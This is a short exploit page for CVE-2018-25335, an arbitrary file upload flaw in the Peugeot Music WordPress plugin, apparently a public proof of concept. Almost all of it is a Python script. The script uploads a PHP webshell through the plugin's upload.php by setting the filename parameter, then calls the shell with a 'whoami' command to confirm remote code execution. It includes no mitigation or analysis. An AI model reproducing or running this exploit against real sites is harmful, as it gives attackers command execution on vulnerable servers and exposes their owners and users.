CVE-2018-25335 Peugeot Music插件任意文件上传漏洞

import requests # Target URL configuration target_url = "http://example.com/wp-content/plugins/peugeot-music/upload.php" shell_url = "http://example.com/wp-content/uploads/shell.php" # Malicious file content (PHP webshell) php_code = "<?php system($_GET['cmd']); ?>" # Prepare the files and data for the upload request # The vulnerability allows bypassing extension checks via the 'name' parameter files = { 'file': ('shell.php', php_code, 'application/octet-stream') } data = { 'name': 'shell.php' # Critical parameter to control the uploaded filename } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] File uploaded successfully.") # Attempt to execute the uploaded shell verify = requests.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Code execution successful! Output: {verify.text}") else: print("[-] Upload likely succeeded, but execution failed.") else: print(f"[-] Upload failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")